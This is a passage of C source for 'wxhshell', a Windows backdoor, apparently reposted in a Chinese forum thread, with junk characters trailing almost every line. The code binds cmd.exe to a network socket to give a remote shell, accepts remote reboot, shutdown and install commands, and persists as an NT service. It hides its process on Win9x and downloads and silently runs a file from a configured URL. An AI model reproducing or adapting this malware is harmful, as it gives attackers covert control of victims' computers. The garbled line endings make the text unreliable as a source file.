  case '?': { QW ~-+BD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9:tvkl  
    break; n ,<`.^  
  } 8 jom)a  
  // 安装 >AcpJ|V  
  case 'i': { }hT1@I   
    if(Install()) z!09vDB^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '8g/^Y@  
    else k:(i sKIA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&C]i~  
    break; ;bJ2miO"e  
    } Ydv\a6  
  // 卸载 [.e Y xZ{=  
  case 'r': { :sT\-MpQvn  
    if(Uninstall()) W!a~ #R/r-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i?^C c\gH  
    else |.D_[QI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5u ED  
    break; ~<0!sE&y  
    } 6km{= ```  
  // 显示 wxhshell 所在路径 ,}&E=5MF\  
  case 'p': { %SV"iXxY  
    char svExeFile[MAX_PATH]; % I]?xe6  
    strcpy(svExeFile,"\n\r"); y]OW{5(  
      strcat(svExeFile,ExeFile); $mA+ 4ISK  
        send(wsh,svExeFile,strlen(svExeFile),0); <,~ =o  
    break; iR-MuDM  
    } 13s0uyYU<m  
  // 重启  YM9oVF-  
  case 'b': { )N QtjB$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [,_M@g3  
    if(Boot(REBOOT)) :j/PtNT@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C7=Q!UK`\  
    else { M4a- +T"  
    closesocket(wsh); ,j~ R ^j  
    ExitThread(0); b@ J&jE~d  
    } rQNT  
    break; m,n V,}@J  
    } Fjc+{;x  
  // 关机 \6B,\l]$t@  
  case 'd': { e=t?mDh#E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C~M~2@Iori  
    if(Boot(SHUTDOWN)) p9<OXeY   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LkFXUt?  
    else { "A jtNL5  
    closesocket(wsh); ;S+c<MSl  
    ExitThread(0); \~xOdqF/  
    } {aq\sf;i{  
    break; 4+mawyM  
    } n3{m "h3  
  // 获取shell fM]McZ9)D  
  case 's': { ki6`d?  
    CmdShell(wsh); ~Z5?\a2Ld  
    closesocket(wsh); OT7F#:2`  
    ExitThread(0); z`uqK!v(K  
    break; 1Oo^  
  } u!2.[CV  
  // 退出 lv}U-vK  
  case 'x': { "r0z( j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;% *e}w0  
    CloseIt(wsh); RM53B  
    break; z;x `dOP  
    } amf=uysr  
  // 离开 MBCA%3z08  
  case 'q': { mQ#@"9l%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3nBbPP_  
    closesocket(wsh); ww"ihUX  
    WSACleanup(); [d!C6FT  
    exit(1); @18@[ :d"  
    break; xM%E;  
        } ( 5 d ~0  
  } lwLK#_5u  
  } R~b9)  
B$7m@|p!  
  // 提示信息 bxP>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q{f%U.  
} bIizh8d?  
  } > 3 JU  
*Kt7"J  
  return; uqZLlP#&#  
} bl\44VK2'  
$X5~9s1Wl  
// shell模块句柄 -mZo`  
int CmdShell(SOCKET sock) ?{qw /&  
{ !mL,Ue3/  
STARTUPINFO si; ac.O#6&  
ZeroMemory(&si,sizeof(si)); \E.t=XBn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e%G- +6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~0?p @8  
PROCESS_INFORMATION ProcessInfo; L4sN)EI  
char cmdline[]="cmd"; h_]3L/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #s1M>M)  
  return 0; ;JFE7\-mC  
} NpD}7t<EF  
GT%V,OJ  
// 自身启动模式 MvY0?!v  
int StartFromService(void) U=XaI%ZM)  
{ X5wS6v)#(  
typedef struct ?9vBn  
{ uGl0z79  
  DWORD ExitStatus; *wp'`3y}  
  DWORD PebBaseAddress; s~/]nz]"J  
  DWORD AffinityMask; aJMh>  
  DWORD BasePriority; W _b $E =  
  ULONG UniqueProcessId; (uOW5,e7  
  ULONG InheritedFromUniqueProcessId; O)Nt"k7 b  
}   PROCESS_BASIC_INFORMATION; }p t5.'l  
8)rv.'A((E  
PROCNTQSIP NtQueryInformationProcess; (Wq9YDD@  
joDfvY*[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6Epns s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =[{Pw8['  
q22cp&gmX  
  HANDLE             hProcess; kRiWNEw  
  PROCESS_BASIC_INFORMATION pbi; }(E6:h;}~  
'! 1ts@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;~]&$2sk  
  if(NULL == hInst ) return 0; DHt 8 f  
zwU8iVDe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (53dl(L?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *"fg@B5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @+1E|4L1vf  
RU"w|Qu>pM  
  if (!NtQueryInformationProcess) return 0; d@At-Z~M  
![Ip)X OG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }C*o;'o5G  
  if(!hProcess) return 0; K- }k-S  
P+}qaup  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q'(WIv@  
!+ uMH!  
  CloseHandle(hProcess); 'dWJ#9C  
#]lUJ &M}e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &K>]!yn   
if(hProcess==NULL) return 0; X""'}X|O  
oTI*mGR1Z  
HMODULE hMod; 7v,>sX  
char procName[255]; F5 LQgK-z  
unsigned long cbNeeded; iqy}|xAU  
+crAkb}i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `zzX2R Je  
mApn(&  
  CloseHandle(hProcess); x(]s#D!)  
~;eWQwD  
if(strstr(procName,"services")) return 1; // 以服务启动 iLmU|jdE  
jLQjv  
  return 0; // 注册表启动 e_1mO 5z  
} TdKl`"Iy  
a|nlmH"l  
// 主模块 ''5%5(Y.r  
int StartWxhshell(LPSTR lpCmdLine) C9=f=sGL  
{ ~|uCZ.;o  
  SOCKET wsl; ,o9)ohw  
BOOL val=TRUE; rB4#}+Uq  
  int port=0; Z;>~<#!4  
  struct sockaddr_in door; keJec`q=X  
}2NH>qvY  
  if(wscfg.ws_autoins) Install(); *0c }`|  
NPoXz  
port=atoi(lpCmdLine); /t>o -  
c<D Yk f  
if(port<=0) port=wscfg.ws_port; JG( <  
@\"*Z&]8z0  
  WSADATA data; .vW~(ZuD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6\TstY3  
:.35pp,0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ("lcL2Bq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vbj?:29A  
  door.sin_family = AF_INET; PzV(e)~7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?ft_  
  door.sin_port = htons(port); Bw_Ih|y,w  
&)X<yd0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <rC#1wR4  
closesocket(wsl); wP8R=T  
return 1; < `r+l5  
} KPR{5  
*z+\yfOO"  
  if(listen(wsl,2) == INVALID_SOCKET) { 6pLwwZD  
closesocket(wsl); :mJM=FeJ  
return 1; $U8ap4EXM  
} j2P|cBXu  
  Wxhshell(wsl); `+f\Q2]Z  
  WSACleanup(); _yoG<qI  
BphF+'CM  
return 0; I"!gzI`Sd  
E{fnh50^Q.  
} )I>rC%2P  
)/U1; O  
// 以NT服务方式启动 #!5Nbe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e`~q ;?:  
{ WuNu}Ibl}m  
DWORD   status = 0; Dw #&x/G  
  DWORD   specificError = 0xfffffff; yBe/UFp+  
_bd#C   
  serviceStatus.dwServiceType     = SERVICE_WIN32; PR'FSTg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]bR'J\Fwl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :5*<QJuI#A  
  serviceStatus.dwWin32ExitCode     = 0; E{6}'FG+A  
  serviceStatus.dwServiceSpecificExitCode = 0; u]2k%TUY  
  serviceStatus.dwCheckPoint       = 0; [.Y=~)7FB  
  serviceStatus.dwWaitHint       = 0; ho20> vw#  
= ]@xXVf/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m[bu(qz  
  if (hServiceStatusHandle==0) return; V")Q4h{  
F0JFx$AoD  
status = GetLastError(); ]OrFW4tiE  
  if (status!=NO_ERROR) r{TNPa6!  
{ Kulg84<AwM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B.G!7>=  
    serviceStatus.dwCheckPoint       = 0; f2u2Ns0Ym  
    serviceStatus.dwWaitHint       = 0; \\lC"Z#J`  
    serviceStatus.dwWin32ExitCode     = status; R:xmcUq} (  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Vc=]Z2G^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kje+Niz7  
    return; -J30g\  
  } \k,bz 0  
M/DTD98'N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :3t])mL#   
  serviceStatus.dwCheckPoint       = 0; h0eo:Ahi  
  serviceStatus.dwWaitHint       = 0; j41:]6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z K(5&u  
} "EHc&,B`  
;MMFF{  
// 处理NT服务事件,比如:启动、停止 </=PN1=A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c[y8"M5  
{ 1v4kN -  
switch(fdwControl) bGJUu#  
{ 5QSmim  
case SERVICE_CONTROL_STOP: 1P[Lz!C  
  serviceStatus.dwWin32ExitCode = 0; nGbrWu]w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sy?>e*-{  
  serviceStatus.dwCheckPoint   = 0; GVM#Xl}w9  
  serviceStatus.dwWaitHint     = 0; 5ZcnZlOOQ  
  { (=/F=,w   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !LJ.L?9qw  
  } J50 ~B3bj`  
  return; %_[-[t3  
case SERVICE_CONTROL_PAUSE: ?>y-5B[K/(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K7.<,E"M.  
  break; 3DHm9n+/:  
case SERVICE_CONTROL_CONTINUE: xAjQW=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gAj)3T@  
  break; wuk7mIJ  
case SERVICE_CONTROL_INTERROGATE: q KM]wu0Et  
  break; *Vl =PNn-  
}; j vV8`BQ{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z~ H Gc"~  
} i njmP9ed  
gJ&!w8v.  
// 标准应用程序主函数 ,_$"6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tTt3D]h(  
{ ]#$kA9  
bIArAS9%  
// 获取操作系统版本 8w&rj-  
OsIsNt=GetOsVer(); 3CE8+PnT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g5Dx9d{  
{K:Utdu($q  
  // 从命令行安装 $dP)8_Z2  
  if(strpbrk(lpCmdLine,"iI")) Install(); z6lz*%Yi  
j;v%4G  
  // 下载执行文件 [hL1 PWKs  
if(wscfg.ws_downexe) { i .N1Cvp&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !_9$[Oq~  
  WinExec(wscfg.ws_filenam,SW_HIDE); h)rf6*hw  
} i6d$/ yP"  
lX*;KHT)  
if(!OsIsNt) { swlWe}1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,}tdfkZFYl  
HideProc(); tA-B3 ]  
StartWxhshell(lpCmdLine); #Qr4Ke$g[l  
} JP4Moq~r   
else XijLS7Aw|  
  if(StartFromService()) V]]qu:Mh8  
  // 以服务方式启动 |T_Pz& -  
  StartServiceCtrlDispatcher(DispatchTable); @vYmkF`  
else qDM[7q3.  
  // 普通方式启动 +q/h:q.TV  
  StartWxhshell(lpCmdLine); Qu,k  
jw[BtRW  
return 0; XKX,7  
}
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只看该作者 1 发表于: 2006-10-10
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